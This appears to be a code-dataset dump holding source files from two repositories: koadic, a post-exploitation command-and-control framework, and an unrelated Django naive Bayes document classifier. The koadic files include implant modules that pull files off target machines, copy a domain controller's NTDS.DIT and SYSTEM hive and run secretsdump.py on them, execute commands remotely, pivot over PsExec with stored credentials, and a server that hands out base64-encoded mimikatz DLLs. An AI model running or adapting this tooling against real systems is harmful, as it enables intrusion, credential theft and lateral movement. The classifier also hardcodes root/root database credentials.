index
int64
repo_name
string
branch_name
string
path
string
content
string
import_graph
string
46,082
khast3x/koadic
refs/heads/master
/core/implant.py
import core.plugin class Implant(core.plugin.Plugin): def __init__(self, shell): super(Implant, self).__init__(shell) self.options.register("ZOMBIE", "ALL", "the zombie to target")
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,083
khast3x/koadic
refs/heads/master
/core/extant.py
import threading import time import core.session ''' Periodically checks if sessions are alive ''' class Extant(object): def __init__(self, shell): self.shell = shell self.check_alive_timer = None self.check() def check(self): if self.check_alive_timer is not None: self.check_alive_timer.cancel() self.check_alive_timer = threading.Timer(1.0, self.check) self.check_alive_timer.daemon = True self.check_alive_timer.start() now = time.time() max_delta = 10 for stager in self.shell.stagers: for session in stager.sessions: delta = now - session.last_active #delta = datetime.timedelta(seconds=int(delta)) if session.status == core.session.Session.ALIVE: if delta > max_delta: self.shell.play_sound('TIMEOUT') session.set_dead() else: if delta < max_delta: self.shell.play_sound('RECONNECT') session.set_reconnect()
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,084
khast3x/koadic
refs/heads/master
/modules/implant/util/download_file.py
import core.job import core.implant import uuid import time import os class DownloadFileImplant(core.implant.Implant): NAME = "Download File" DESCRIPTION = "Downloads a remote file off the target system." AUTHORS = ["RiskSense, Inc."] def load(self): self.options.register("LPATH", "/tmp/", "local file save path") self.options.register("RFILE", "", "remote file to get", required=False) self.options.register("RFILELIST", "", "file containing line-seperated file names to download", required=False) def run(self): rfile = self.options.get("RFILE") rfilelist = self.options.get("RFILELIST") if not rfile and not rfilelist: self.shell.print_error("Need to define either RFILE or RFILELIST") return payloads = {} if rfilelist: file = open(rfilelist, 'r') files = file.read().splitlines() for f in files: self.options.set("RFILE", f.replace("\\", "\\\\").replace('"', '\\"')) payloads["js"] = self.loader.load_script("data/implant/util/download_file.js", self.options) self.dispatch(payloads, DownloadFileJob) else: self.options.set("RFILE", self.options.get('RFILE').replace("\\", "\\\\").replace('"', '\\"')) payloads["js"] = self.loader.load_script("data/implant/util/download_file.js", self.options) self.dispatch(payloads, DownloadFileJob) class DownloadFileJob(core.job.Job): def report(self, handler, data, sanitize = False): self.save_fname = self.options.get("LPATH") + "/" + self.options.get("RFILE").split("\\")[-1] self.save_fname = self.save_fname.replace("//", "/") while os.path.isfile(self.save_fname): self.save_fname += "."+uuid.uuid4().hex with open(self.save_fname, "wb") as f: data = self.decode_downloaded_data(data) f.write(data) self.save_len = len(data) super(DownloadFileJob, self).report(handler, data, False) def done(self): self.display() def display(self): rfile = self.options.get("RFILE").replace('\\"', '"').replace("\\\\", "\\") self.shell.print_good("%s saved to %s (%d bytes)" % (rfile, self.save_fname, self.save_len))
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,085
khast3x/koadic
refs/heads/master
/modules/implant/gather/hashdump_dc.py
import core.implant import uuid class HashDumpDCImplant(core.implant.Implant): NAME = "Domain Hash Dump" DESCRIPTION = "Dumps the NTDS.DIT off the target domain controller." AUTHORS = ["zerosum0x0", "Aleph-Naught-"] def load(self): self.options.register("LPATH", "/tmp/", "local file save path") self.options.register("DRIVE", "C:", "the drive to shadow copy") self.options.register("RPATH", "%TEMP%", "remote file save path") self.options.register("UUIDHEADER", "ETag", "HTTP header for UUID", advanced=True) self.options.register("NTDSFILE", "", "random uuid for NTDS file name", hidden=True) self.options.register("SYSHFILE", "", "random uuid for SYSTEM hive file name", hidden=True) def run(self): # generate new file every time this is run self.options.set("NTDSFILE", uuid.uuid4().hex) self.options.set("SYSHFILE", uuid.uuid4().hex) payloads = {} payloads["js"] = self.loader.load_script("data/implant/gather/hashdump_dc.js", self.options) self.dispatch(payloads, HashDumpDCJob) class HashDumpDCJob(core.job.Job): def save_file(self, data, decode = True): import uuid save_fname = self.options.get("LPATH") + "/" + uuid.uuid4().hex save_fname = save_fname.replace("//", "/") with open(save_fname, "wb") as f: if decode: data = self.decode_downloaded_data(data) f.write(data) return save_fname def report(self, handler, data, sanitize = False): task = handler.get_header(self.options.get("UUIDHEADER"), False) if task == self.options.get("SYSHFILE"): handler.reply(200) self.print_status("received SYSTEM hive (%d bytes)" % len(data)) self.system_data = data return if task == self.options.get("NTDSFILE"): handler.reply(200) self.print_status("received NTDS.DIT file (%d bytes)" % len(data)) self.ntds_data = data return # dump ntds.dit here import threading self.finished = False threading.Thread(target=self.finish_up).start() handler.reply(200) def finish_up(self): self.ntds_file = self.save_file(self.ntds_data) self.print_status("decoded NTDS.DIT file (%s)" % self.ntds_file) self.system_file = self.save_file(self.system_data) self.print_status("decoded SYSTEM hive (%s)" % self.system_file) from subprocess import Popen, PIPE, STDOUT cmd = 'secretsdump.py -ntds %s -system %s -hashes LMHASH:NTHASH LOCAL' % (self.ntds_file, self.system_file) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) output = p.stdout.read() #self.shell.print_plain(output.decode()) self.dump_file = self.save_file(output, False) super(HashDumpDCJob, self).report(None, "", False) def done(self): self.display() #pass def display(self): #pass self.print_good("DC hash dump saved to %s" % self.dump_file)
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,086
khast3x/koadic
refs/heads/master
/data/bin/mimishim/server.py
#!/usr/bin/env python from http.server import BaseHTTPRequestHandler, HTTPServer from emu.powerkatz32 import x32 from emu.powerkatz64 import x64 import base64 # HTTPRequestHandler class class testHTTPServer_RequestHandler(BaseHTTPRequestHandler): # GET def do_GET(self): # Send response status code self.send_response(200) # Send headers self.send_header('Content-type','text/html') self.end_headers() # Send message back to client message = "Hello world!" # Write content as utf-8 data self.wfile.write(bytes(message, "utf8")) self.wfile.write(bytes(self.requestline, "utf8")) return def do_POST(self): # Send response status code self.send_response(200) # Send headers self.send_header('Content-type','octet/stream') self.end_headers() if(self.headers['UUIDHEADA'] == 'mimidllx32'): self.wfile.write(base64.b64decode(x32)) if(self.headers['UUIDHEADA'] == 'mimidllx64'): self.wfile.write(base64.b64decode(x64)) if(self.headers['UUIDHEADA'] == 'mimishimx64'): with open("mimishimx64.dll", 'rb') as f: self.wfile.write(f.read()) return def run(): print('starting server...') # Server settings # Choose port 8080, for port 80, which is normally used for a http server, you need root access server_address = ('0.0.0.0', 8081) httpd = HTTPServer(server_address, testHTTPServer_RequestHandler) print('running server...') httpd.serve_forever() run()
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,087
khast3x/koadic
refs/heads/master
/core/sounds.py
sounds = { #'ON': 'data/bin/sounds/on.mp3', 'SUCCESS': ['data/bin/sounds/wicked_sick.mp3', 'data/bin/sounds/holyshit.mp3'], #'FAIL': 'data/bin/sounds/fail.mp3', 'STAGED': 'data/bin/sounds/pwned.mp3', 'KILL': 'data/bin/sounds/killing_spree.mp3', 'STAGER': 'data/bin/sounds/firstblood.mp3' }
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,088
khast3x/koadic
refs/heads/master
/modules/implant/manage/exec_cmd.py
import core.job import core.implant import uuid class ExecCmdJob(core.job.Job): def done(self): self.display() def display(self): self.shell.print_plain("Result for `%s`:" % self.options.get('CMD').replace('\\"', '"').replace("\\\\", "\\")) self.shell.print_plain(self.data) class ExecCmdImplant(core.implant.Implant): NAME = "Execute Command" DESCRIPTION = "Executes a command on the target system." AUTHORS = ["RiskSense, Inc."] def load(self): self.options.register("CMD", "hostname", "command to run") self.options.register("OUTPUT", "true", "retrieve output?", enum=["true", "false"]) self.options.register("DIRECTORY", "%TEMP%", "writeable directory for output", required=False) self.options.register("FILE", "", "random uuid for file name", hidden=True) def run(self): # generate new file every time this is run self.options.set("FILE", uuid.uuid4().hex) self.options.set("CMD", self.options.get('CMD').replace("\\", "\\\\").replace('"', '\\"')) payloads = {} #payloads["vbs"] = self.load_script("data/implant/manage/exec_cmd.vbs", self.options) payloads["js"] = self.loader.load_script("data/implant/manage/exec_cmd.js", self.options) self.dispatch(payloads, ExecCmdJob)
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,089
khast3x/koadic
refs/heads/master
/modules/implant/pivot/exec_psexec.py
import core.job import core.implant import uuid import os.path class PsExecLiveJob(core.job.Job): def done(self): self.display() def display(self): pass #self.shell.print_plain("Result for `%s`:" % self.options.get('CMD')) #self.shell.print_plain(self.data) class PsExecLiveImplant(core.implant.Implant): NAME = "PsExec_Live" DESCRIPTION = "Executes a command on another system, utilizing live.sysinternals.com publicly hosted tools." AUTHORS = ["RiskSense, Inc."] def load(self): self.options.register("CMD", "hostname", "command to run") self.options.register("RHOST", "", "name/IP of the remote") self.options.register("SMBUSER", "", "username for login") self.options.register("SMBPASS", "", "password for login") self.options.register("SMBDOMAIN", ".", "domain for login") self.options.register("CREDID", "", "cred id from creds") #self.options.register("PAYLOAD", "", "payload to stage") self.options.register("RPATH", "\\\\\\\\live.sysinternals.com@SSL\\\\tools\\\\", "path to psexec.exe") self.options.register("DIRECTORY", "%TEMP%", "writeable directory for output", required=False) self.options.register("FILE", "", "random uuid for file name", hidden=True) def run(self): # generate new file every time this is run self.options.set("FILE", uuid.uuid4().hex) cred_id = self.options.get("CREDID") if cred_id: key = self.shell.creds_keys[int(cred_id)] smbuser = self.shell.creds[key]["Username"] smbpass = self.shell.creds[key]["Password"] smbdomain = self.shell.creds[key]["Domain"] self.options.set("SMBUSER", smbuser) if not smbuser: self.shell.print_warning("Cred has no Username!") self.options.set("SMBPASS", smbpass) if not smbpass: self.shell.print_warning("Cred has no Password!") self.options.set("SMBDOMAIN", smbdomain) if not smbdomain: self.shell.print_warning("Cred has no Domain!") payloads = {} payloads["js"] = self.loader.load_script("data/implant/pivot/exec_psexec.js", self.options) self.dispatch(payloads, PsExecLiveJob)
{"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]}
46,101
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/minor/serializers.py
from rest_framework import serializers from classifier.models import Files class FileSerializer(serializers.ModelSerializer): # id = serializers.IntegerField(read_only=True) name = serializers.SerializerMethodField() category = serializers.SerializerMethodField() image_name= serializers.CharField(max_length=100) class Meta: model = Files fields = ('name', 'image_name', 'category') def get_name(self, obj): file=Files.objects.get(name=obj.name) return file.filename() def get_category(self, obj): file=Files.objects.get(name=obj.name) category=file.categories.names() if len(category) <= 0: return str(category) category=category[0] category=category.encode('utf-8') return category
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,102
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/classifier/migrations/0005_auto_20171023_1654.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('classifier', '0004_auto_20171023_1630'), ] operations = [ migrations.RenameField( model_name='files', old_name='image_url', new_name='image_name', ), ]
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,103
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/classifier/Thumbnail.py
from wand.image import Image from wand.display import display from wand.color import Color def createAndStoreThumbnail(**kwargs): # fileDirectory = "/home/akshat/Desktop/" # inFileName="test_doc_2.pdf" # outFileName="myOutputfile.jpg" imageFromPdf = Image(filename=kwargs["fileLocation"]+kwargs["fileName"]) # pages = len(imageFromPdf.sequence) # print(pages) # creates an empty Image. image = Image( width=imageFromPdf.width, height=imageFromPdf.height ) # resize the empty image image.sample(470,330) #superimpose on the empty image the argument given, at the position specified image.composite( imageFromPdf.sequence[0], top=0, left=0 ) image.background_color = Color("white") image.alpha_channel = 'remove' # for i in range(pages): # image.composite( # imageFromPdf.sequence[i], # top=imageFromPdf.height * i, # left=0 # ) image.format="jpg" image.save(filename=kwargs["imageLocation"]+kwargs["imageName"]+".jpg") return kwargs["imageName"]+".jpg" # display(image)
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,104
akshat2412/naive-bayes-classifier-
refs/heads/master
/code_for_training.py
import MySQLdb from sys import argv #take the name of the file containing the training data from command line # script,filename=argv target = open('/home/akshat/Desktop/trainset.txt','r') lines = target.readlines() class_prob = {} count_docs = {} vocab = [] i=1 print "Calculating P(class)" for line in iter(lines): word = line.split() # print(len(word)) if len(word)==0: continue print(word) if word[0] in class_prob: # print("condition satisfied") class_prob[word[0]]+=1.0 count_docs[word[0]]+=1 else: # print("condition not satisfied") class_prob[word[0]]=1.0 count_docs[word[0]]=1 vocab=vocab+word[1:] # print i # i+=1 for key in class_prob: class_prob[key]=class_prob[key]/len(lines) print "Extracting vocabulary" #list() used to remove duplicate words vocab = list(set(vocab)) print "Initializing dictionaries" prob = {} count = {} for _word in vocab: prob[_word]={} count[_word]={} for _class in class_prob: prob[_word][_class]=0.0 count[_word][_class]=0 print "Calculating P(word|class) and frequencies" for _word in vocab:#_word is the single word for _class in class_prob:#_class is the name of the class for line in iter(lines):#lines is array of lines word=line.split()#word is array of words if len(word)==0: continue if word[0] == _class and _word in word: prob[_word][_class]+=1.0 count[_word][_class]+=word[1:].count(_word) prob[_word][_class] = (prob[_word][_class]+1)/float(count_docs[_class]+2) print "P("+_word+"|"+_class+") = "+str(prob[_word][_class]) ################## print "counts..." for _word in vocab: for _class in class_prob: print "count["+_word+"|"+_class+"="+str(count[_word][_class]) ################## print "Modifying" print "Calculating means" mean={} for _word in vocab: ct=0 for _class in class_prob: ct+=count[_word][_class] mean[_word]=float(ct)/len(class_prob) print "mean( "+_word+" ) = "+str(mean[_word]) sup=open("sup.txt","w") print "Final check step modification" for _word in vocab: # print("*******************************************") for _class in class_prob: print "count("+_word+"|"+_class+") - mean("+_word+") >? 6*mean("+_word+") i.e. "+str(float(count[_word][_class]) - mean[_word])+">"+str(6*mean[_word]) if (float(count[_word][_class]) - mean[_word] > 6*mean[_word]) and (count[_word][_class] > 10): temp_p=prob[_word][_class] prob[_word][_class] = prob[_word][_class]*count[_word][_class] print "*****************************************" sup.write("P("+_word+"|"+_class+") modified from "+str(temp_p)+" to "+str(prob[_word][_class])+"\n") sup.close() print "Modified" print "Inserting into database..." db = MySQLdb.connect("localhost","root","root","naive" ) cursor = db.cursor() for _class in class_prob: # print(_class, " ", class_prob[_class]) sql="insert into probability_class (Column_1, Column_2) values('%s','%f');"%(_class, class_prob[_class]) cursor.execute(sql) for _word in vocab: # print(_class, _word, prob[_word][_class]) sql_2="insert into probability_word_given_class values('%s','%s','%f')"%(_class, _word, prob[_word][_class]) try: cursor.execute(sql_2) except: print(_class, _word, prob[_word][_class]) db.commit() db.close() target.close()
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,105
akshat2412/naive-bayes-classifier-
refs/heads/master
/input_document.py
from nltk import word_tokenize #punctuation not accurate from nltk.tokenize import RegexpTokenizer from nltk.stem import SnowballStemmer from nltk.stem.wordnet import WordNetLemmatizer from nltk.stem import PorterStemmer from nltk.corpus import stopwords import string from sys import argv def prelim(filename): ### Initialize tokenizer, stopset, stemmer and lemmatizer ### tokenizer = RegexpTokenizer(r'\w+') #used this because this regex gets rid of punctuations al well....alternativly word_tokenize could also have been used stopset = set(stopwords.words('english')) #porter_stemmer=PorterStemmer() lemm = WordNetLemmatizer() #stemmer = SnowballStemmer('english') ################################################## text=open(filename, 'r').read() text=unicode(text, errors='replace') tokens = tokenizer.tokenize(text) #tokenize the text tokens = list(set(tokens)) ##doubt about this in the algorithm # tokens = [porter_stemmer.stem(w) for w in tokens if not w in stopset] #stem the tokens and remove stop words tokens = [lemm.lemmatize(w,'v') for w in tokens] # tokens = [porter_stemmer.stem(w) for w in tokens if not w in stopset] # tokens = [lemm.lemmatize(w) for w in tokens if not w in stopset] import code_for_classification return code_for_classification.findClass(tokens) if __name__=='__main__': # import code_for_classification # sys,argv=argv #filename to be classified in the command line text = open('test.txt','r').read() # text=text.encode('utf-8') tokens = prelim(text) print(tokens) # print(code_for_classification.findClass(tokens))
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,106
akshat2412/naive-bayes-classifier-
refs/heads/master
/converttoone.py
from nltk import word_tokenize #punctuation not accurate from nltk.tokenize import RegexpTokenizer from nltk.stem import SnowballStemmer from nltk.stem.wordnet import WordNetLemmatizer from nltk.corpus import stopwords import string from sys import argv import os fo=open("/home/akshat/Desktop/trainset.txt","w") ### Initialize tokenizer, stopset, stemmer and lemmatizer ### tokenizer = RegexpTokenizer(r'\w+') #used this because this regex gets rid of punctuations al well....alternativly word_tokenize could also have been used stemmer = SnowballStemmer('english') stopset = set(stopwords.words('english')) lemm = WordNetLemmatizer() ################################################## path="/home/akshat/Desktop/20news-18828" for dirname in os.listdir(path): if os.path.isdir(path+"/"+dirname): print path+"/"+dirname for fname in os.listdir(path+"/"+dirname): print fname with open(path+"/"+dirname+"/"+fname, 'r') as f: text = f.read() text= unicode(text, errors='replace') text=text.splitlines(True) text = " ".join(text[1:]) tokens = tokenizer.tokenize(text) #tokenize the text tokens = list(set(tokens)) ##doubt about this in the algorithm tokens = [lemm.lemmatize(w) for w in tokens if not w in stopset] #stem the tokens and remove stop words fo.write(dirname+" "+" ".join(tokens)+"\n") fo.close()
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,107
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/minor/views.py
from django.http import HttpResponse, JsonResponse from django.template import Template, Context from django.views.generic.base import TemplateView from classifier.models import * from django.shortcuts import render from Thumbnail import createAndStoreThumbnail from .forms import FileForm from django.core import serializers as Orig_S from rest_framework import serializers import json from minor.serializers import FileSerializer import PyPDF2 import sys from django.core.cache import cache import subprocess sys.path.insert(0, '/home/akshat/Downloads') import input_document # from google.cloud import language # from google.cloud.language import enums # from google.cloud.language import types # The main lesson here is this: a view is just a Python function that takes an # HttpRequest as its first parameter and returns an instance of HttpResponse. # Each view function takes at least one parameter, called request by convention. # This is an object that contains information about the current web request that # has triggered this view, and is an instance of the class django.http.HttpRequest. # second parameter onwards should be the argument of the view function. imageLocation="/home/akshat/Classifier/minor/static/thumbnails/" fileLocation="/home/akshat/Classifier/minor/uploads/" class HomeView(TemplateView): template_name = 'Documents.html' def get(self, request): test_list=Categories.objects.all() # print test_list files=Files.objects.all() serializer=FileSerializer(files, many=True) dict_1={"files_and_images":serializer.data} # files=json.dumps(files) # files=json.loads(files) # data = Orig_S.serialize("json", files) # # print(type(data)) # data = data.encode('ascii') # data = list(data) # # print(type(data)) # # data=json.dumps(data) # # data=json.loads(data) # dict_1["context_data"]=data # for item in dict_1["context_data"][0]: # print(item) # print("**************") # print(type(dict_1["context_data"][0])) # data=Context({"context_data":data}) # print(data["context_data"]) # createAndStoreThumbnail(fileLocation=fileLocation, fileName=fileName, imageName=imageName, imageLocation=imageLocation) # test_google_api() # render function is the shortcut function that returns HttpResponse. # its arguments are request, template name and the dictionary. return render(request, self.template_name, dict_1) # return JsonResponse(serializer.data, safe=False) def post(self, request): fileForm=FileForm(request.POST, request.FILES) cache.clear() if fileForm.is_valid(): # print("Working") fileForm.save() name=str(fileForm.cleaned_data['file_info']) # print(name) image_name=createAndStoreThumbnail(fileName=name, fileLocation=fileLocation, imageName=name[:-4], imageLocation=imageLocation) # # fileForm.save(image_name=image_name) obj=Files.objects.get(name=name) # print(obj) obj.image_name=image_name # pdfFileObj = open("./uploads/"+name, 'rb') # pdfReader = PyPDF2.PdfFileReader(pdfFileObj) target_file = open("input.txt","w") # pdf_file = open(", "rb") subprocess.call(['pdftotext', "./uploads/"+name, 'input.txt']) # read_pdf = PyPDF2.PdfFileReader(pdf_file) # num_of_pages = read_pdf.getNumPages() # print(num_of_pages) # for page in range(0, num_of_pages): # page = read_pdf.getPage(page) # page_content = page.extractText() # page_content = page_content.encode('utf-8') # print("********************************************") # print(page_content) # target_file.write(page_content) # print page_content # target_file.close() # pdf_file.close() max_class=input_document.prelim("/home/akshat/Classifier/minor/input.txt") obj.categories.add(str(max_class)) obj.save() files=Files.objects.all() serializer=FileSerializer(files, many=True) dict_1={"files_and_images":serializer.data} return render(request, self.template_name, dict_1) # return HttpResponse(str(max_class)) print("form is not valid") return HttpResponse("Not Working")
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,108
akshat2412/naive-bayes-classifier-
refs/heads/master
/code_for_classification.py
from sys import argv from math import log import pymysql cursor = "" class_prob={} prob={} def global_variables(): global class_prob global prob global cursor db = pymysql.connect("localhost","root","root","naive" ) cursor = db.cursor() sql = "select * from probability_class" cursor.execute(sql) resultSet=cursor.fetchall() for row in resultSet: class_prob[row[0]]=row[1] # print('How many times will there statments over execute ? ................... test #26') sql = "select * from probability_word_given_class" cursor.execute(sql) resultSet=cursor.fetchall() for row in resultSet: if row[1] not in prob: prob[row[1]]={} prob[row[1]][row[0]]=row[2] db.close() def read_words(words_file): return [word for line in open(words_file, 'r') for word in line.split()] def findClass(target): global_variables() # target = read_words(target) max_prob = float("-inf") max_class = "" for _class in class_prob: _prob = log(class_prob[_class]) for _word in target: if _word in prob: _prob += log(prob[_word][_class]) if _prob>max_prob: max_prob = _prob max_class = _class return max_class if __name__=="__main__": # script,filename = argv filename="test_input.txt" text = read_words(filename) global_variables() print(findClass(text))
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,109
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/classifier/admin.py
from django.contrib import admin from .models import Files, Categories # Register your models here. admin.site.register(Files) admin.site.register(Categories)
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,110
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/classifier/models.py
from django.db import models from taggit.managers import TaggableManager from Thumbnail import createAndStoreThumbnail import os # Create your models here. class Files(models.Model): name = models.CharField(max_length=50) categories = TaggableManager() file_info = models.FileField(upload_to='uploads/') image_name = models.CharField(max_length=100, default="default_url") def save(self, *args, **kwargs): self.name = self.file_info.name # print(self.name) # self.image_name=kwargs["image_name"] super(Files, self).save(*args, **kwargs) # super(Files, self).save(*args, **kwargs) def __str__(self): return self.file_info.name def filename(self): return os.path.basename(self.file_info.name) class Meta: ordering = ['name'] class Categories(models.Model): category_name = models.CharField(max_length=50) def __str__(self): return self.category_name
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,111
akshat2412/naive-bayes-classifier-
refs/heads/master
/minor/minor/forms.py
from django import forms from classifier.models import Files class FileForm(forms.ModelForm): class Meta: model=Files fields = { "file_info", }
{"/input_document.py": ["/code_for_classification.py"], "/minor/minor/views.py": ["/minor/minor/forms.py", "/input_document.py"], "/minor/classifier/admin.py": ["/minor/classifier/models.py"]}
46,113
